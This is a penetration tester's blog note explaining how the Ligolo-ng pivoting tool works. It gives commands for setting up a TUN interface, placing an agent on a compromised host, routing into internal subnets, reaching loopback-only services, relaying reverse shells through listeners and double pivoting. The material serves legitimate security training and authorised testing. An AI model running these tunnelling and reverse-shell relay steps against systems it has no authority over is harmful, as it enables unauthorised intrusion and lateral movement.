← Notes
Notes
21 October 2026 · 5 min read · PivotingPentestingRed TeamNetworkingTools

Why Ligolo-ng Is the Pivoting Tool I Reach for Every Time

A breakdown of how Ligolo-ng works, why I find it way more flexible than Chisel and SOCKS-based tools, and the commands and scenarios I actually use for pivoting, double pivots, and local port forwarding.

On this page

Why Ligolo-ng Is the Pivoting Tool I Reach for Every Time

What is Ligolo-ng?

Ligolo-ng is a reverse tunneling and pivoting tool built in Go by Nicolas Chatelain (nicocha30). When you land on a machine inside a network you can’t directly reach from your attacking box, Ligolo-ng lets you build a tunnel back through that compromised host so you can hit everything behind it , as if you had a VPN straight into the internal network.

What sets it apart from a basic SOCKS proxy or Chisel is that instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor. On the proxy side it spins up a real TUN interface packets sent to it get translated and shipped to the agent’s network. That means nmap, rdesktop, CrackMapExec, whatever they all just work against the internal range, no proxychains in the middle.

Why pivoting tools exist in the first place

In almost every real engagement (and most HTB/CPTS-style boxes), your initial foothold is never the real target. You land on a DMZ box, a jump host, a low-priv web server , and the real stuff (domain controllers, file shares, internal apps) sits on a segment only reachable from that box. Pivoting is how you go from “one machine” to “the whole internal network.”

My experience with it

I’ve used Chisel, SOCKS-based setups, and a few others before landing on Ligolo-ng, and it’s genuinely the one that stuck. The flexibility is what sold me, you’re not fighting proxychains breaking half your tools, you’re not babysitting SOCKS configs for every single utility, you just get a routable interface and everything behaves like it’s actually sitting on that network. Nmap scans, RDP, SMB enumeration, all of it, native.

It wasn’t instant though, it took me a bit to actually get comfortable with the proxy/agent/session/tunnel flow, especially once double pivoting and listeners entered the picture. The mental model is different from “just start a SOCKS proxy and point proxychains at it,” so there’s a learning curve the first time you set up a multi-hop chain. But once it clicked, I haven’t gone back to Chisel for anything serious Ligolo-ng is just more flexible for the stuff that actually comes up on real boxes: double pivots, reverse shells that need to cross a second hop, accessing a pivot’s loopback-only services. It’s one of the best tools in the pivoting space right now, hands down.

Setup

1. Create a TUN interface on your attack/proxy machine

sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

Or, on v0.6+, skip the manual step:

ligolo-ng » interface_create --name ligolo

2. Start the proxy

./proxy -h             # help
./proxy -selfcert       # self-signed cert, good for labs/HTB
./proxy -autocert       # Let's Encrypt, for real engagements

3. Drop the agent on the target

./agent -connect your_c2_server:11601

Pin the cert fingerprint if self-signed:

ligolo-ng » certificate_fingerprint
./agent -connect your_c2_server:11601 -accept-fingerprint <FINGERPRINT>

4. Select the session and start the tunnel

ligolo-ng » session
? Specify a session: 1 - user@hostname - x.x.x.x:port

[Agent : user@hostname] » tunnel_start --tun ligolo

5. Route to the internal network

[Agent : user@hostname] » ifconfig
sudo ip route add 192.168.0.0/24 dev ligolo

or inside the CLI:

ligolo-ng » interface_add_route --name ligolo --route 192.168.0.0/24

6. Scan and access

nmap 192.168.0.0/24 -v -sV -n --unprivileged
rdesktop 192.168.0.123

Note the --unprivileged/-PE flag because the agent runs without privileges, it can’t forward raw packets, so a SYN scan would false-positive without it.

Scenario: accessing a service only bound to the pivot’s loopback (127.0.0.1)

Say the pivot has something like MySQL or an internal admin panel bound to 127.0.0.1 only — a normal route won’t reach it. Ligolo-ng has a magic IP for exactly this: 240.0.0.1. Query that IP and Ligolo-ng automatically redirects traffic to the agent’s local address.

sudo ip route add 240.0.0.1/32 dev ligolo
nmap 240.0.0.1 -sV -p 3306,8080

With multiple agents, route 240.0.0.1 through whichever agent’s tunnel interface you want to hit the magic IP always resolves to “localhost on the agent behind that interface.”

Scenario: listeners — forwarding a port on the pivot back to you

Useful when something on the internal network needs to connect out to you (reverse shells, file transfers) but can only reach the pivot host, not your Kali box directly.

[Agent : user@hostname] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444

Any connection hitting port 1234 on the pivot gets forwarded through the tunnel to port 4444 on your attacking machine point your reverse shell payload at the pivot’s IP on 1234, catch it locally on 4444.

[Agent : user@hostname] » listener_list
[Agent : user@hostname] » listener_stop 0

Scenario: double pivoting (chaining through a second host)

Found a second subnet only reachable from pivot one? Relay the second agent binary through pivot one with a listener, since pivot two can’t reach your Kali box directly:

[Agent : pivot1] » listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:8000

Fetch and run the agent on pivot2 through that relayed port, let it connect back, then treat the new session like any other on the proxy:

ligolo-ng » session
? Specify a session: 2 - user@pivot2 - x.x.x.x:port

interface_create --name ligolo2
[Agent : pivot2] » tunnel_start --tun ligolo2
interface_add_route --name ligolo2 --route 10.10.10.0/24

Two clean, independent TUN interfaces, one per hop, no nested proxy configs like you’d end up with on Chisel.

References